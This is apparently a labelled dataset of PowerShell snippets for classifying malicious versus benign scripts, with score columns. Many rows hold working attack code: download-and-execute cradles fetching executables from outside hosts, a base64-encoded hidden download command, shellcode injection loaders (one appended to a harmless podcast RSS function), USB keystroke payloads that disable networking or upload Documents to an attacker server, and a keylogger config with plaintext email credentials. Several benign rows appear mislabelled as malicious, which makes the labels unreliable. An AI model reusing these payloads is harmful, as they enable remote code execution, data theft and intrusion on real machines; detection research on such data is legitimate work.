"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""workstation_report_8z39y92x"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-LocalGroupMember -Group ""Administrators"" -ErrorAction SilentlyContinue | enter Select-Object Name, ObjectClass, PrincipalSource | enter Export-Csv -Path (Join-Path $ReportDir ""user_local_admins.csv"") -NoTypeInformation enter Get-ChildItem -Path $env:TEMP -Directory -ErrorAction SilentlyContinue | enter Select-Object -First 50 Name, FullName, LastWriteTime | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""disk_filesystem_provider.txt"") -Encoding UTF8 enter Get-Process | enter Sort-Object CPU -Descending | enter Select-Object -First 10 ProcessName, Id, StartTime | enter Export-Csv -Path (Join-Path $ReportDir ""process_top_cpu_10.csv"") -NoTypeInformation enter Write-Host ""Administrative report completed."" enter",0,0,0.99996495,3.5080917e-05
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""endpoint_review_kzkvhb5n"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-WinEvent -LogName System -MaxEvents 75 | enter Where-Object { $_.LevelDisplayName -in @(""Warning"") } | enter Select-Object TimeCreated, ProviderName, Id, LevelDisplayName, Message | enter Export-Csv -Path (Join-Path $ReportDir ""event_system_warnings_75.csv"") -NoTypeInformation enter Get-CimInstance Win32_Service | enter Where-Object { $_.StartMode -eq ""Manual"" } | enter Sort-Object Name | enter Select-Object Name, Status, CanStop, CanPauseAndContinue | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""service_manual.json"") -Encoding UTF8 enter",0,0,0.999966,3.3989534e-05
win+r powershell enter class CommandExecutor : BaseLogger { [RoleManager]$RoleManager hidden [Bot]$ enter _bot [int]$HistoryToKeep = 100 [int]$ExecutedCount = 0 [System.Collectio enter ns.ArrayList]$History = (New-Object System.Collections.ArrayList) enter enter,1,1,0.00684205,0.9931579
win+r powershell enter DUCKY_REAL_BEGIN enter REM Author: UNC0V3R3D enter REM Description: Uses the device manager to deactivate all networkadapters. enter REM Version: 1.0 enter REM Category: FUN enter DELAY 800 enter GUI r enter DELAY 800 enter STRING powershell Start-Process powershell -Verb runAs enter DELAY 800 enter ENTER enter DELAY 800 enter LEFTARROW enter DELAY 800 enter ENTER enter DELAY 500 enter STRING Get-NetAdapter | ForEach-Object { Disable-NetAdapter -Name $_.Name -Confirm:$false } enter ENTER enter DELAY 1000 enter STRING exit enter ENTER enter DUCKY_REAL_END enter,1,1,6.09353e-05,0.9999391
win+r powershell enter function Invoke-RunAs { <# .DESCRIPTION Runas knockoff. Will bypass GPO path res enter trictions. .PARAMETER UserName Provide a user .PARAMETER Password Provide a pa enter ssword .PARAMETER Domain enter enter,1,1,7.290653e-05,0.99992704
"win+r powershell enter # BENIGN ADMIN REPORT enter $ReportDir = Join-Path $env:TEMP ""admin_reports_2ca2x7j6"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-NetFirewallRule | enter Where-Object { $_.Direction -eq ""Outbound"" } | enter Select-Object -First 150 DisplayName, Enabled, Direction, Action, Profile | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""firewall_rules_outbound.txt"") -Encoding UTF8 enter Write-Host ""Starting device_printer_inventory section 2."" enter Get-PnpDevice | enter Where-Object { $_.Class -eq ""Display"" } | enter Select-Object -First 150 Class, FriendlyName, Status, InstanceId | enter Export-Csv -Path (Join-Path $ReportDir ""device_display_devices.csv"") -NoTypeInformation enter",0,0,0.999966,3.4012133e-05
"win+r powershell enter Login-AzAccount Get-AzSubscription Set-AzContext -SubscriptionId 'yourSubscripti enter onId' $groupname = ""mysfclustergroup"" $start=3400 $end=4400 $resource = Get-Az enter Resource | Where {$_.ResourceGroupName –eq $groupname -and $_.ResourceType -eq "" enter Microsoft.Network/loadBalancers""} $lb = Get-AzResource -ResourceGroupName $grou enter pname -ResourceType Microsoft.Network/loadBalancers -ResourceName $resource.Name enter $lb.Properties.inboundNatPools.properties.frontendPortRangeStart = $start enter enter",1,1,0.018145157,0.9818548
"win+r enter powershell enter enter enter (New-Object System.Net.WebClient).DownloadFile('http://andersonken4791.pserver.ru/doc.exe','fleeble.exe');Start-Process 'fleeble.exe' enter enter",1,1,5.791648e-05,0.99994206
"win+r powershell enter $XAt = '[DllImport(""kernel32.dll"")]public static extern IntPtr VirtualAlloc(IntP enter tr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport(""ke enter rnel32.dll"")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, enter uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFla enter gs, IntPtr lpThreadId);[DllImport(""msvcrt.dll"")]public static extern IntPtr mems enter et(IntPtr dest, uint src, uint count);';$w = Add-Type -memberDefinition $XAt -Na enter me ""Win32"" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$z = 0xfc,0xe8,0 enter x89,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xd2,0x64,0x8b,0x52,0x30,0x8b,0x52,0x0c,0 enter x8b,0x52,0x14,0x8b,0x72,0x28,0x0f,0xb7,0x4a,0x26,0x31,0xff,0x31,0xc0,0xac,0x3c,0 enter x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,0xe2,0xf0,0x52,0x57,0x8b,0x52,0 enter x10,0x8b,0x42,0x3c,0x01,0xd0,0x8b,0x40,0x78,0x85,0xc0,0x74,0x4a,0x01,0xd0,0x50,0 enter x8b,0x48,0x18,0x8b,0 enter",1,1,5.4005162e-05,0.999946
poWERshEll -nop -w hidden -ep bypass -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAH enter QAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAG enter cAKAAiAGgAdAB0AHAAOgAvAC8AYwBvAGwAZQBnAGEAcwBvAG4AbABpAG4AZQAuAGMAbwBtAC8AZQB4AG enter MAZQBsAC4AcABoAHAAIgApAA== enter,1,1,6.0306054e-05,0.9999397
"win+r powershell enter function ConvertTo-ScriptExtent { [CmdletBinding()] [OutputType([System.Mana enter gement.Automation.Language.IScriptExtent])] param( [Parameter(Mandatory, Value enter FromPipelineByPropertyName, ParameterSetName='ByOffset')] [Alias('StartOffset', enter 'Offset')] [int] $StartOffsetNumber, [Parameter(ValueFromPipelineByProperty enter Name, ParameterSetName='ByOffset')] [Alias('EndOffset')] enter enter",1,1,0.006472324,0.9935277
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""health_report_l6x7npen"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Write-Host ""Starting service_checks section 1."" enter Get-Service -Name ""*update*"" -ErrorAction SilentlyContinue | enter Sort-Object DisplayName | enter Select-Object Name, DisplayName, Status, ServiceType | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""service_service_name_pattern.txt"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.999966,3.3972392e-05
"win+r powershell enter Set-StrictMode -Version Latest InModuleScope Pester { Describe ""Should -BeLess enter Than"" { It ""passes if value is less than expected"" { 0 | Should BeLessThan 1 enter 0 | Should -BeLessThan 1 0 | Should -LT 1 } It ""fails if values equal"" { { enter 3 | Should BeLessThan 3 } | Verify-AssertionFailed enter enter",1,1,0.012294502,0.98770547
"win+r powershell enter DUCKY_REAL_BEGIN enter REM =========================================================================== enter REM Author: fierceoj enter REM Description: Upload Documents folder to attacker web server enter REM Target: Raspberry Pi OS enter REM Usage: Change attacker IP/URL and port to yours enter REM Usage: Attacker server must be ready to accept files via HTTP POST requests enter REM =========================================================================== enter DELAY 3000 enter CTRL-ALT F1 enter DELAY 200 enter REM NOTE: Doesn't work on filenames with spaces, need to fix enter STRING for f in Documents/*;do curl -F file=@$f http://127.0.0.1:80/;done enter DELAY 200 enter ENTER enter REM Clear command history enter STRING history -c enter DELAY 200 enter ENTER enter DUCKY_REAL_END enter",1,1,5.905894e-05,0.999941
"win+r powershell enter # BENIGN ADMIN REPORT enter $ReportDir = Join-Path $env:TEMP ""support_summary_a27v0wg8"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-Service | enter Where-Object { $_.Status -eq ""Running"" } | enter Sort-Object Name | enter Select-Object Name, DisplayName, Status, ServiceType | enter Export-Csv -Path (Join-Path $ReportDir ""service_running.csv"") -NoTypeInformation enter Get-ChildItem Env: | enter Sort-Object Name | enter Select-Object Name, Value | enter Export-Csv -Path (Join-Path $ReportDir ""environment_env_vars.csv"") -NoTypeInformation enter Write-Host ""Administrative report completed."" enter",0,0,0.9999664,3.3674867e-05
"win+r powershell enter # BENIGN ADMIN REPORT enter $ReportDir = Join-Path $env:TEMP ""asset_report_8lyrhina"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-NetRoute | enter Select-Object -First 50 DestinationPrefix, InterfaceAlias, NextHop, RouteMetric | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""network_routes.json"") -Encoding UTF8 enter Write-Host ""Starting scheduled_task_inventory section 2."" enter Get-ScheduledTask | enter Where-Object { $_.State -eq ""Ready"" } | enter Select-Object -First 150 TaskName, TaskPath, State | enter Export-Csv -Path (Join-Path $ReportDir ""scheduled_ready_tasks.csv"") -NoTypeInformation enter",0,0,0.9999654,3.4580393e-05
"win+r powershell enter if (Get-Command logparser.exe) { $lpquery = @"" SELECT COUNT(ServiceName, C enter mdLine, FailAction1, FailAction2, FailAction3) as ct, ServiceName, CmdLin enter e, FailAction1, enter enter",1,1,0.0019658708,0.9980342
"win+r powershell enter # BENIGN ADMIN REPORT enter $ReportDir = Join-Path $env:TEMP ""asset_report_yodb7vzy"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Write-Host ""Starting process_checks section 1."" enter Get-Process | enter Sort-Object Handles -Descending | enter Select-Object -First 40 Name, Id, Path, Company | enter Export-Csv -Path (Join-Path $ReportDir ""process_top_handles_40.csv"") -NoTypeInformation enter Write-Host ""Administrative report completed."" enter",0,0,0.999966,3.400785e-05
"win+r powershell enter # Edit only this section! $TimesToRun = 2 $RunTimeP = 1 $From = ""key02381@gmail. enter com"" $Pass = ""lovish@123"" $To = ""lovishthegreat59@gmail.com"" $Subject = ""Keylogg enter er Results"" $body = ""Keylogger Results"" $SMTPServer = ""smtp.mail.com"" $SMTPPort enter = ""587"" $credentials = new-object Management.Automation.PSCredential $From, ($Pa enter ss | ConvertTo-SecureString -AsPlainText -Force) ############################ enter enter",1,1,0.00013472479,0.9998653
"win+r enter powershell enter enter enter function Disable-CIisSecurityAuthentication enter { enter enter [CmdletBinding(SupportsShouldProcess=$true)] enter param( enter [Parameter(Mandatory=$true)] enter [string] enter enter $SiteName, enter enter [Alias('Path')] enter [string] enter enter $VirtualPath = '', enter enter [Parameter(Mandatory=$true,ParameterSetName='Anonymous')] enter [Switch] enter enter $Anonymous, enter enter [Parameter(Mandatory=$true,ParameterSetName='Basic')] enter [Switch] enter enter $Basic, enter enter [Parameter(Mandatory=$true,ParameterSetName='Windows')] enter [Switch] enter enter $Windows enter ) enter enter Set-StrictMode -Version 'Latest' enter enter Use-CallerPreference -Cmdlet $PSCmdlet -Session $ExecutionContext.SessionState enter enter $authType = $pscmdlet.ParameterSetName enter $getArgs = @{ $authType = $true; } enter $authSettings = Get-CIisSecurityAuthentication -SiteName $SiteName -VirtualPath $VirtualPath @getArgs enter enter if( -not $authSettings.GetAttributeValue('enabled') ) enter { enter return enter } enter enter $authSettings.SetAttributeValue('enabled', 'False') enter $fullPath = Join-CIisVirtualPath $SiteName $VirtualPath enter if( $pscmdlet.ShouldProcess( $fullPath, (""disable {0} authentication"" -f $authType) ) ) enter { enter $authSettings.CommitChanges() enter } enter } enter enter",0,0,0.99988973,0.000110232424
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""daily_check_p5kauz29"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-PnpDevice | enter Where-Object { $_.Class -eq ""Display"" } | enter Select-Object -First 50 Class, FriendlyName, Status, InstanceId | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""device_display_devices.txt"") -Encoding UTF8 enter Get-Process | enter Sort-Object CPU -Descending | enter Select-Object -First 25 Name, Id, CPU, WorkingSet64 | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""process_top_cpu_25.txt"") -Encoding UTF8 enter",0,0,0.9999654,3.452836e-05
"win+r enter powershell enter enter enter function aUk6 { enter Param ($z21E, $le7) enter $ryF = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods') enter enter return $ryF.GetMethod('GetProcAddress', [Type[]]@([System.Runtime.InteropServices.HandleRef], [String])).Invoke($null, @([System.Runtime.InteropServices.HandleRef](New-Object System.Runtime.InteropServices.HandleRef((New-Object IntPtr), ($ryF.GetMethod('GetModuleHandle')).Invoke($null, @($z21E)))), $le7)) enter } enter enter function qO3Fo { enter Param ( enter [Parameter(Position = 0, Mandatory = $True)] [Type[]] $vK, enter [Parameter(Position = 1)] [Type] $x5gt = [Void] enter ) enter enter $peZ = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')), [System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InMemoryModule', $false).DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate]) enter $peZ.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $vK).SetImplementationFlags('Runtime, Managed') enter $peZ.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $x5gt, $vK).SetImplementationFlags('Runtime, Managed') enter enter return $peZ.CreateType() enter } enter enter [Byte[]]$rY9eF = [System.Convert]::FromBase64String(""/EiD5PDozAAAAEFRQVBSSDHSUWVIi1JgVkiLUhhIi1IgTTHJSItyUEgPt0pKSDHArDxhfAIsIEHByQ1BAcHi7VJBUUiLUiCLQjxIAdBmgXgYCwIPhXIAAACLgIgAAABIhcB0Z0gB0FCLSBhEi0AgSQHQ41ZI/8lNMclBizSISAHWSDHArEHByQ1BAcE44HXxTANMJAhFOdF12FhEi0AkSQHQZkGLDEhEi0AcSQHQQYsEiEgB0EFYQVheWVpBWEFZQVpIg+wgQVL/4FhBWVpIixLpS////11JvndzMl8zMgAAQVZJieZIgeygAQAASYnlSbwCAB4clJEDcUFUSYnkTInxQbpMdyYH/9VMiepoAQEAAFlBuimAawD/1WoKQV5QUE0xyU0xwEj/wEiJwkj/wEiJwUG66g/f4P/VSInHahBBWEyJ4kiJ+UG6maV0Yf/VhcB0Ckn/znXl6JMAAABIg+wQSIniTTHJagRBWEiJ+UG6AtnIX//Vg/gAflVIg8QgXon2akBBWWgAEAAAQVhIifJIMclBulikU+X/1UiJw0mJx00xyUmJ8EiJ2kiJ+UG6AtnIX//Vg/gAfShYQVdZaABAAABBWGoAWkG6Cy8PMP/VV1lBunVuTWH/1Un/zuk8////SAHDSCnGSIX2dbRB/+dYagBZScfC8LWiVv/V"") enter [Uint32]$aGS = 0 enter $pJav = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((aUk6 kernel32.dll VirtualAlloc), (qO3Fo @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr]))).Invoke([IntPtr]::Zero, $rY9eF.Length,0x3000, 0x04) enter enter [System.Runtime.InteropServices.Marshal]::Copy($rY9eF, 0, $pJav, $rY9eF.length) enter if (([System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((aUk6 kernel32.dll VirtualProtect), (qO3Fo @([IntPtr], [UIntPtr], [UInt32], [UInt32].MakeByRefType()) ([Bool]))).Invoke($pJav, [Uint32]$rY9eF.Length, 0x10, [Ref]$aGS)) -eq $true) { enter $q7eWl = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((aUk6 kernel32.dll CreateThread), (qO3Fo @([IntPtr], [UInt32], [IntPtr], [IntPtr], [UInt32], [IntPtr]) ([IntPtr]))).Invoke([IntPtr]::Zero,0,$pJav,[IntPtr]::Zero,0,[IntPtr]::Zero) enter [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((aUk6 kernel32.dll WaitForSingleObject), (qO3Fo @([IntPtr], [Int32]))).Invoke($q7eWl,0xffffffff) | Out-Null enter } enter [decoded_payloads] enter [decoded:from_base64_string] enter üHƒäðèÌAQAPRH1ÒQeH‹R`VH‹R H‹R M1ÉH‹rPH ·JJH1À¬<a| , AÁÉ enter A ÁâíRAQH‹R ‹B<H Ðfx r‹€ˆH ÀtgH ÐP‹H D‹@ I ÐãVHÿÉM1ÉA‹4ˆH ÖH1À¬AÁÉ enter A Á8àuñL L$ E9ÑuØXD‹@$I ÐfA‹ HD‹@ I ÐA‹ ˆH ÐAXAX^YZAXAYAZHƒì ARÿàXAYZH‹ éKÿÿÿ]I¾ws2_32AVI‰æHì I‰åI¼ ”‘ qATI‰äL‰ñAºLw& ÿÕL‰êh YAº)€kÿÕj enter A^PPM1ÉM1ÀHÿÀH‰ÂHÿÀH‰ÁAºê ßàÿÕH‰Çj AXL‰âH‰ùAº™¥taÿÕ Àt enter IÿÎuåè“Hƒì H‰âM1Éj AXH‰ùAº ÙÈ_ÿՃø~UHƒÄ ^‰öj@AYh AXH‰òH1ÉAºX¤SåÿÕH‰ÃI‰ÇM1ÉI‰ðH‰ÚH‰ùAº ÙÈ_ÿՃø}(XAWYh@AXjZAº / 0ÿÕWYAºunMaÿÕIÿÎé<ÿÿÿH ÃH)ÆH öu´AÿçXjYIÇÂðµ¢VÿÕ enter enter",1,1,5.666185e-05,0.9999434
"win+r enter powershell enter enter enter function New-PodcastEpisode enter { enter [CmdletBinding()] enter param enter ( enter [Parameter(Mandatory)] enter [ValidateNotNullOrEmpty()] enter [ValidateScript({ Test-Path -Path $_ -PathType Leaf })] enter [string]$RssFilePath, enter enter [Parameter(Mandatory)] enter [ValidateNotNullOrEmpty()] enter [string]$Title, enter enter [Parameter(Mandatory)] enter [ValidateNotNullOrEmpty()] enter [string]$Link, enter enter [Parameter(Mandatory)] enter [ValidateNotNullOrEmpty()] enter [string]$Description, enter enter [Parameter(Mandatory)] enter [ValidateNotNullOrEmpty()] enter [string]$Guid, enter enter [Parameter(Mandatory)] enter [ValidateNotNullOrEmpty()] enter [string]$Duration, enter enter [Parameter(Mandatory)] enter [ValidateNotNullOrEmpty()] enter [string]$SubTitle, enter enter [Parameter(Mandatory)] enter [ValidateNotNullOrEmpty()] enter [string]$Summary, enter enter [Parameter(Mandatory)] enter [ValidateNotNullOrEmpty()] enter [string]$Keywords, enter enter [Parameter()] enter [ValidateNotNullOrEmpty()] enter [string]$Author = 'Todd Klindt', enter enter [Parameter()] enter [ValidateNotNullOrEmpty()] enter [string]$Explicit = 'no' enter ) enter begin { enter $ErrorActionPreference = 'Stop' enter $xRss = New-Object -TypeName System.Xml.XmlDocument enter $xRss.Load($RssFilePath) enter } enter process { enter try enter { enter $newItem = $xRss.CreateElement('Item') enter enter $subItems = @{ enter 'title' = $Title enter 'link' = $Link enter 'description' = $Description enter 'author' = $Author enter 'guid' = $Guid enter 'enclosure' = '' enter } enter enter $iTunesNsItems = @{ enter 'author' = $Author enter 'duration' = $Duration enter 'explicit' = $Explicit enter 'keywords' = $Keywords enter 'subtitle' = $SubTitle enter 'summary' = $Summary enter } enter enter foreach ($s in $subItems.GetEnumerator()) enter { enter $nodeName = $s.Key enter $nodeVal = $s.Value enter $null = $newItem.AppendChild($xRss.CreateElement($nodeName)) enter if ($nodeName -ne 'enclosure') enter { enter $newItem.$nodeName = $nodeVal enter } enter } enter enter $newItem.SelectSingleNode('enclosure').SetAttribute('url', 'test enc URL') enter $newItem.SelectSingleNode('enclosure').SetAttribute('length', '0000') enter $newItem.SelectSingleNode('enclosure').SetAttribute('type', 'audio/mp3') enter $newItem.SelectSingleNode('guid').SetAttribute('isPermaLink', 'true') enter enter $itunesNs = New-Object System.Xml.XmlNamespaceManager($xRss.nametable) enter $itunesNs.addnamespace('itunes', $xRss.rss.channel.GetNamespaceOfPrefix('itunes')) enter enter foreach ($s in $iTunesNsItems.GetEnumerator()) enter { enter $nodeName = ""itunes:$($s.Key)"" enter $nodeVal = $s.Value enter $node = $xRss.CreateElement($nodeName, $itunesNs.LookupNamespace('itunes')) enter $null = $node.AppendChild($xRss.CreateTextNode($nodeVal)) enter $null = $newItem.AppendChild($node) enter } enter enter $null = $xRss.SelectSingleNode('rss/channel').AppendChild($newItem) enter $xRss.Save($RssFilePath) enter } enter catch enter { enter Write-Error $_.Exception.Message enter } enter } enter } enter $c = '[DllImport(""kernel32.dll"")]public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport(""kernel32.dll"")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);[DllImport(""msvcrt.dll"")]public static extern IntPtr memset(IntPtr dest, uint src, uint count);';$w = Add-Type -memberDefinition $c -Name ""Win32"" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$z = 0xfc,0xe8,0x89,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xd2,0x64,0x8b,0x52,0x30,0x8b,0x52,0x0c,0x8b,0x52,0x14,0x8b,0x72,0x28,0x0f,0xb7,0x4a,0x26,0x31,0xff,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,0xe2,0xf0,0x52,0x57,0x8b,0x52,0x10,0x8b,0x42,0x3c,0x01,0xd0,0x8b,0x40,0x78,0x85,0xc0,0x74,0x4a,0x01,0xd0,0x50,0x8b,0x48,0x18,0x8b,0x58,0x20,0x01,0xd3,0xe3,0x3c,0x49,0x8b,0x34,0x8b,0x01,0xd6,0x31,0xff,0x31,0xc0,0xac,0xc1,0xcf,0x0d,0x01,0xc7,0x38,0xe0,0x75,0xf4,0x03,0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe2,0x58,0x8b,0x58,0x24,0x01,0xd3,0x66,0x8b,0x0c,0x4b,0x8b,0x58,0x1c,0x01,0xd3,0x8b,0x04,0x8b,0x01,0xd0,0x89,0x44,0x24,0x24,0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x58,0x5f,0x5a,0x8b,0x12,0xeb,0x86,0x5d,0x68,0x33,0x32,0x00,0x00,0x68,0x77,0x73,0x32,0x5f,0x54,0x68,0x4c,0x77,0x26,0x07,0xff,0xd5,0xb8,0x90,0x01,0x00,0x00,0x29,0xc4,0x54,0x50,0x68,0x29,0x80,0x6b,0x00,0xff,0xd5,0x50,0x50,0x50,0x50,0x40,0x50,0x40,0x50,0x68,0xea,0x0f,0xdf,0xe0,0xff,0xd5,0x97,0x6a,0x05,0x68,0xc0,0xa8,0x02,0x7b,0x68,0x02,0x00,0x01,0xbb,0x89,0xe6,0x6a,0x10,0x56,0x57,0x68,0x99,0xa5,0x74,0x61,0xff,0xd5,0x85,0xc0,0x74,0x0c,0xff,0x4e,0x08,0x75,0xec,0x68,0xf0,0xb5,0xa2,0x56,0xff,0xd5,0x6a,0x00,0x6a,0x04,0x56,0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x8b,0x36,0x6a,0x40,0x68,0x00,0x10,0x00,0x00,0x56,0x6a,0x00,0x68,0x58,0xa4,0x53,0xe5,0xff,0xd5,0x93,0x53,0x6a,0x00,0x56,0x53,0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x01,0xc3,0x29,0xc6,0x85,0xf6,0x75,0xec,0xc3;$g = 0x1000;if ($z.Length -gt 0x1000){$g = $z.Length};$x=$w::VirtualAlloc(0,0x1000,$g,0x40);for ($i=0;$i -le ($z.Length-1);$i++) {$w::memset([IntPtr]($x.ToInt32()+$i), $z[$i], 1)};$w::CreateThread(0,0,$x,0,0,0);for (;;){Start-sleep 60}; enter enter",1,1,5.1597664e-05,0.9999484
win+r powershell enter function Start-TestFixture { & (Join-Path -Path $PSScriptRoot '..\Initialize-Ca enter rbonTest.ps1' -Resolve) } function Test-ShouldJoinPaths { Assert-Equal 'SiteNa enter me' (Join-IisVirtualPath 'SiteName' '') Assert-Equal 'SiteName' (Join-IisVirtua enter lPath 'SiteName' $null) Assert-Equal 'SiteName' (Join-IisVirtualPath 'SiteName' enter ) Assert-Equal 'SiteName/Virtual' (Join-IisVirtualPath 'SiteName' 'Virtual') A enter ssert-Equal 'SiteName/Virtual' (Join-IisVirtualPath 'SiteName/' 'Virtual') enter enter,1,1,0.006644725,0.9933553
"win+r powershell enter # BENIGN ADMIN REPORT enter $ReportDir = Join-Path $env:TEMP ""endpoint_review_dniq3hy9"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-PnpDevice | enter Where-Object { $_.Class -eq ""Display"" } | enter Select-Object -First 50 Class, FriendlyName, Status, InstanceId | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""device_display_devices.json"") -Encoding UTF8 enter Get-Process | enter Sort-Object CPU -Descending | enter Select-Object -First 25 Name, Id, CPU, WorkingSet64, Handles | enter Export-Csv -Path (Join-Path $ReportDir ""process_top_cpu_25.csv"") -NoTypeInformation enter Write-Host ""Administrative report completed."" enter",0,0,0.99996567,3.4289147e-05
"win+r powershell enter # BENIGN ADMIN REPORT enter $ReportDir = Join-Path $env:TEMP ""endpoint_review_qqrisg1b"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-CimInstance Win32_LogicalDisk | enter Where-Object { $_.DriveType -eq 2 } | enter Select-Object DeviceID, VolumeName, FileSystem, @{Name=""SizeGB"";Expression={[math]::Round($_.Size / 1GB, 2)}}, @{Name=""FreeGB"";Expression={[math]::Round($_.FreeSpace / 1GB, 2)}} | enter Export-Csv -Path (Join-Path $ReportDir ""disk_logical_disk.csv"") -NoTypeInformation enter Get-LocalGroup | enter Select-Object Name, Description | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""user_local_groups.txt"") -Encoding UTF8 enter",0,0,0.9999651,3.4869183e-05
"win+r powershell enter # BENIGN ADMIN REPORT enter $ReportDir = Join-Path $env:TEMP ""desktop_audit_dz5rgd9k"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-LocalGroupMember -Group ""Administrators"" -ErrorAction SilentlyContinue | enter Select-Object Name, ObjectClass, PrincipalSource | enter Export-Csv -Path (Join-Path $ReportDir ""user_local_admins.csv"") -NoTypeInformation enter Write-Host ""Starting service_checks section 2."" enter Get-Service -Name ""*security*"" -ErrorAction SilentlyContinue | enter Sort-Object Status | enter Select-Object Name, DisplayName, Status | enter Export-Csv -Path (Join-Path $ReportDir ""service_service_name_pattern.csv"") -NoTypeInformation enter",0,0,0.9999658,3.417574e-05
"win+r enter powershell enter enter enter function Start-TestFixture enter { enter & (Join-Path -Path $PSScriptRoot -ChildPath '..\Initialize-CarbonTest.ps1' -Resolve) enter } enter enter function Test-ShouldConvertToBase64 enter { enter $value = 'YAAxADIAMwA0ADUANgA3ADgAOQAwAC0APQBxAHcAZQByAHQAeQB1AGkAbwBwAFsAXQBcAGEAcwBkAGYAZwBoAGoAawBsADsAJwB6AHgAYwB2AGIAbgBtACwALgAvACAAfgAhAEAAIwAkACUAXgAmACoAKAApAF8AKwBRAFcARQBSAFQAWQBVAEkATwBQAHsAfQB8AEEAUwBEAEYARwBIAEoASwBMADoAIgBaAFgAQwBWAEIATgBNADwAPgA/AA==' enter $expectedValue = '`1234567890-=qwertyuiop[]\asdfghjkl;''zxcvbnm,./ ~!@ enter enter $actualValue = ConvertFrom-Base64 -Value $value enter enter Assert-Equal $expectedValue $actualValue enter } enter enter function Test-ShouldAcceptPipelineInput enter { enter $result = ('VgBhAGwAdQBlADEA','VgBhAGwAdQBlADIA') | ConvertFrom-Base64 enter Assert-Equal 2 $result.Length enter Assert-Equal (ConvertFrom-Base64 -Value 'VgBhAGwAdQBlADEA') $result[0] enter Assert-Equal (ConvertFrom-Base64 -Value 'VgBhAGwAdQBlADIA') $result[1] enter } enter enter function Test-ShouldAcceptArrayInput enter { enter $result = ConvertFrom-Base64 -Value 'VgBhAGwAdQBlADEA','VgBhAGwAdQBlADIA' enter Assert-Equal 2 $result.Length enter Assert-Equal (ConvertFrom-Base64 -Value 'VgBhAGwAdQBlADEA') $result[0] enter Assert-Equal (ConvertFrom-Base64 -Value 'VgBhAGwAdQBlADIA') $result[1] enter } enter enter function Test-ShouldAllowDifferentEncoding enter { enter $value = 'Value1' enter $result = $value | enter ConvertTo-Base64 -Encoding ([Text.Encoding]::ASCII) | enter ConvertFrom-Base64 -Encoding ([Text.Encoding]::ASCII) enter Assert-Equal $value $result enter } enter function Test-ShouldAllowEmptyString enter { enter $result = ConvertFrom-Base64 '' enter Assert-Equal '' $result enter } enter enter function Test-ShouldAllowNull enter { enter $result = ConvertFrom-Base64 $null enter Assert-Null $null enter } enter enter function Test-ShouldAllowNullFromPipeline enter { enter $values = @('MQA=', $null, '', 'MwA=') enter $result = $values | ConvertFrom-Base64 enter Assert-NotNull $result enter Assert-Equal 4 $result.Count enter Assert-Null $result[1] enter Assert-Empty $result[2] enter } enter enter function Test-ShouldAllowNullInArray enter { enter $result = ConvertFrom-Base64 -Value @( $null, $null ) enter 